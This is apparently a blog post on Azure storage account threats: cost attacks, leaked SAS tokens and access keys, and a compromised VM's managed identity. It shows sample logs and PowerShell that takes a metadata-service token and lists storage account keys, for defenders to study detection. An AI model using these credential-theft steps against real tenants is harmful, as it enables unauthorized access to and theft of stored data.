Security Monitoring and Detection Tips for your Storage Account – Part 4

In part 3, you were introduced some storage account related alerts that are generated by Azure Security Center -Advanced Threat Protection. You also got to know a few ways to manually generate those alerts so you could look into how logs are generated, as well as for automated response.

In this part, let’s explore some scenarios that may threaten your storage accounts, as well as attack vectors.

Cost Attack

Cost attack may occur when a bad actor knows your blob URI. He would try to initiate Read operation to force unnecessary charge on your storage account. Every 10,000 reads charges only $0.0014 so let’s assume that every second your blob file gets hit one time. To do a simple math, there has to be around a week to complete 10,000 read with a single thread. So if a bad actor simulates large volume metrics with multi threads cost would be quickly incurred.

The likelihood for this type of attack is low though. I personally don’t see a reasonable motive for this attack to be performed.

Storage Account Enumeration

When a blob Uri is known, bad actor can see the storage account name, as well as container name He may try to enumerate to see if there is any other public access blob.

I haven’t tested this case yet and will provide more information regarding technical possibility.

SAS Compromised

Storage Shared Access Signature (SAS) token provides access delegation to a storage account. One of the very common cases is that your developers accidentally commit his code including SAS token into a public GitHub or somewhere that doesn’t restrict access. Depending on permission SAS allows, as well as its expiration the compromise scope may vary.

People when creating a SAS, they normally stick to all services, resource type and permission. Moreover, they tend to keep long duration of expiration so their client applications wouldn’t be broken when SAS is expired.

Users normally keep things checked for simplifying the use of SAS

Take a look at the following log generated from Storage Analytics logging when someone uses Azure Storage Explorer and a storage account level SAS token to access to your storage account:

    "version_number": "2.0",
    "request_start_time": "2019-12-31T07:08:52.429Z",
    "operation_type": "ListBlobs",
    "authentication_type": "sas",
    "owner_account_name": "financedata01",
    "requested_object_key": "/financedata01/q1-2019",
    "requester_ip_address": "",
    "user_agent_header": "Microsoft Azure Storage Explorer, 1.11.2, win32, Azure-Storage/2.10.3 (NODE-VERSION v10.11.0; Windows_NT 10.0.17763)"

This log record wouldn’t really satisfy you. You would want to know if anyone in your organization using this SAS. Unfortunately it is impossible because SAS token is handled at client side. The log only tips you off about IP address the request originated from, as well as the tool/application that was used – Azure Storage Explorer

Storage Access Key Compromised

Unlike Storage SAS token that may limit scope and permission to delegate access, Storage Access key provides full access with highest privilege to your storage account. When the access key is compromised, your storage account can be accessed fully by the one who has it. Let’s see how log looks like when someone uses storage access key to access to a storage account:

    "version_number": "2.0",
    "request_start_time": "2019-12-31T07:08:52.429Z",
    "operation_type": "ListBlobs",
    "authentication_type": "authenticated",
    "owner_account_name": "financedata01",
    "requested_object_key": "/financedata01/q1-2019",
    "requester_ip_address": "",
    "user_agent_header": "Microsoft Azure Storage Explorer, 1.11.2, win32, Azure-Storage/2.10.3 (NODE-VERSION v10.11.0; Windows_NT 10.0.17763)"

The only difference from the previous example is authentication_type. When you use storage access key, the type is simply authenticated. Again, you cannot know if there is someone in your organization having accessed to this storage account by looking at this log record.

Managed Identity 

Previously every time prior to performing operation against Azure Resource Management endpoint you need service principal (with client Id and client secret) to authorize Azure AD. When managed identity comes in, it gives you a big advantage that allows you to authorize Azure AD without any pressure of using client service principal.

A common use of managed identity is to enable it in virtual machine or Azure App service and grant it a designated role to access to data services such as Storage Account or Azure Key Vault. In this example, let’s assume that your virtual machine’s managed identity has Storage Contributor role.

So to get access to a storage account, attacks would be interested in exploiting and compromising your virtual machine.

Gain access to storage account by getting MSI access token

To simulate this vector, there are the following pre-requisites:

  • A virtual machine that enables System Assigned Identity.
  • The system assigned identity is granted Storage Account Contributor against subscription scope/or storage account scope.
  • Optional: RunCommand privilege. Otherwise we assume the virtual machine is compromised and attacker has performed a succeed remote logon.

When a virtual machine is compromised, the attacker would try the following script to try to talk to Azure Instance Metadata Service and acquire access token:

$aimsUri = ""
$subscriptionid = "67d6179d-1122-4ccd-0f56-4d3ff2e43349"
$rm_endpoint = ""

$header = @{
    Metadata = "true"
$response = Invoke-WebRequest -Uri $aimsUri `
                              -Headers $header `

$content =$response.Content | ConvertFrom-Json
$access_token = $content.access_token

The code returns a valid access token and using this access token, the attacker would try to list all storage accounts that the current access token may be granted to have access to

$rm_endpoint = ""
$authHeader = @{
    'Content-Type'  = 'application/json'
    'Authorization' = 'Bearer ' + $access_token
$uri = "$rm_endpoint/subscriptions/$subscriptionid/providers/Microsoft.Storage/storageAccounts?api-version=2019-06-01"
$r = Invoke-RestMethod -Method Get -Headers $authHeader -Uri $uri

And from now on he can list storage access key once he has defined the target storage account:

$targetStorageAccountName = "financedata01"
$targetStorageAccountRgName = "azsec-corporate-rg"
$keyGenAPI = "$rm_endpoint/subscriptions/$subscriptionid/resourceGroups/$targetStorageAccountRgName/providers/Microsoft.Storage/storageAccounts/$targetStorageAccountName/listKeys?api-version=2019-06-01"

$reqBody = @{
    'keyName' = 'key1'
} | ConvertTo-json

$keyResponse = Invoke-RestMethod -Method Post -Headers $authHeader -Body $reqBody -Uri $keyGenAPI 
$keyResponse | ConvertTo-Json

Depending on the situation or purpose, the attacker may exfiltrate data, or replace with a look-like-legitimate file to lure users to use, or make your storage account become a C2 for further attack.

Replacing a file by a malware

In this simulation, the attacker doesn’t really need any valid authorization at the beginning. He would only need to know subscription ID in order to query storage account then step to list access key.

Azure Activity Log does tell you something. Take a look at the caller value. It represents a service principal, not a typical UPN (User Principal Name).

    "authorization": {
        "action": "Microsoft.Storage/storageAccounts/listKeys/action",
        "scope": "/subscriptions/67d6179d-1122-4ccd-0f56-4d3ff2e43349/resourceGroups/azsec-corporate-rg/providers/Microsoft.Storage/storageAccounts/financedata01"
    "caller": "878fc38b-da5a-4b6c-9c19-b910957efd3e",
    "eventTimestamp": "2019-12-31T17:09:16.5976607Z",
    "operationId": "8d36ca9d-48c8-4933-9880-72c4893c66c9",
    "operationName": {
        "value": "Microsoft.Storage/storageAccounts/listKeys/action",
        "localizedValue": "List Storage Account Keys"
    "resourceType": {
        "value": "Microsoft.Storage/storageAccounts",
        "localizedValue": "Microsoft.Storage/storageAccounts"
    "resourceId": "/subscriptions/67d6179d-1122-4ccd-0f56-4d3ff2e43349/resourceGroups/azsec-corporate-rg/providers/Microsoft.Storage/storageAccounts/financedata01",
    "status": {
        "value": "Succeeded",
        "localizedValue": "Succeeded"
    "submissionTimestamp": "2019-12-31T17:10:45.1716652Z",
    "subscriptionId": "67d6179d-1122-4ccd-0f56-4d3ff2e43349"


This article shows you a few common cases where your storage account is put under threat. There are a few interesting targets that an attacker may have that include storage account access key, storage SAS token and especially misconfigured managed identity. While SAS token and storage access key would be difficult to be retrieved (you would be waiting for someone to accidentally put it to public GitHub), managed identity could be an alternative to gaining storage account access. Today there are still many virtual machines being interfacing to Internet without any protection and we have no idea what is going to happen to them.

In the next article, let’s explore some tips for monitoring and detection. You will learn on how to use Azure Sentinel + Notebooks for exploration and hunting.

The new decade is coming soon. I wish you and your family a great new year ahead.

This entry was posted in Monitoring & Detection and tagged , . Bookmark the permalink.

1 Response to Security Monitoring and Detection Tips for your Storage Account – Part 4

  1. Pingback: Azure Sentinel Resource Terminus – board here! – Azure Sentinel News

Leave a Reply

Your email address will not be published.